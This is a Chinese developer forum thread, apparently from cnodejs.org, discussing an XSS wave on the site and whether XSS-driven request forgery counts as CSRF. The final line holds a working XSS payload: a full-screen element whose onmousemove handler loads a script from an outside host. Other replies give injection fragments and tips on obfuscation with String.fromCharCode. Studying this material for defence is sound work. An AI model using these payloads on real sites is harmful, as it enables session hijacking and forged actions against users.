自从我在cnodejs官网上发布了一篇关于《xss和csrf讨论》的文章后，cnodejs开始了一轮xss注入热潮，各种alert弹窗，自动回复以及修改页面等等。最后袁锋（suqian）只能将所有的markdown标签的html标签禁用，才平息了这场风波。 但是真的将所有的html标签都禁用了就没有漏洞了吗？ 感兴趣的同学可以去我的博客原文看看，传送门如下 以下是正常的url地址，没有注入： http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873/
;%22on=)
;%22on=)
@snoopy 佩服snoopy的强大，也拜读在网易博客上的文章《CSRF攻击实例，注入cnodejs.org官网 》http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873/?latestBlog
但是小弟觉得，这是使用了XSS的漏洞，但发起攻击的站点不是其他站点而是cnodejs，因此不算是CSRF攻击，由此也无法说明“_csrf 防御CSRF （有点拗口，不难理解吧）是毫无用处的”。
csrf顾明思议应该是跨站（cs）的，例如在snoopy博客作为攻击，诱骗用户点击链接，实际为发送请求到cnodejs来follow他，我觉得这才是csrf。_csrf我没有接触过，但字面理解是一个生成随机码，并且和服务器session校验的一个模块，它理论上还是能防住上面所说的跨站follow的。snoopy在博文中说_csrf“就好比一闪铁门上了一把铁丝那样粗的链条锁”，那是因为xss这个无间道帮忙开的锁。
小弟初接触安全这块，理解可能有误，请指正。
嗯你说的是对的，这次攻击不能算是CSRF，他其实是通过XSS脚本注入以后的请求伪造，是属于CSRF和XSS的结合，但也不能就归为XSS攻击。 概念这种东西就不深究了，我那句话是不够严谨，需要加上一个前提，如果站点被XSS脚本注入以后，防御csrf的token将会失效。 所以一旦脚本注入成功以后token将被暴露，所以无论请求是当前站点发起的，或者是其他站点发起的都可以达到相同的效果。 同样如你所说如果站点没有被脚本注入，那么token还是很靠谱的防御手段 谢谢你的捧场哦~
@suqian 还有在图片或者超链接的用户输入最好都要去匹配下是否是正常的路径，比如必须带http或者https打头的那种，网上有url路径判断的正则的，如果输入不判断就输出判断也可以，发现正则匹配不通过，直接干掉！
我准备把你的JJ切了。。你这样注入是不对的，String.fromCharCode可以接收多个参数的，不用这么麻烦~还bind，这样对于不支持ECMA5的浏览器无效的，比如IE8
呃,你说的就是这个情况吧, 发危险脚本导致页面内容被破坏? 是xss()导致的, 也不用担心,发正常的内容时不会影响页面的. 你可以再试试xss攻击, 看看能不能攻陷新防线!
<p onload=“ooxx”>not <p onmousemove="$.getScript(‘http://vps.ucdok.com/cnode_csrf.js’)" style=“width:100%;height:100%;position:fixed;top:0px;left:0px;”> ok </p> </p>
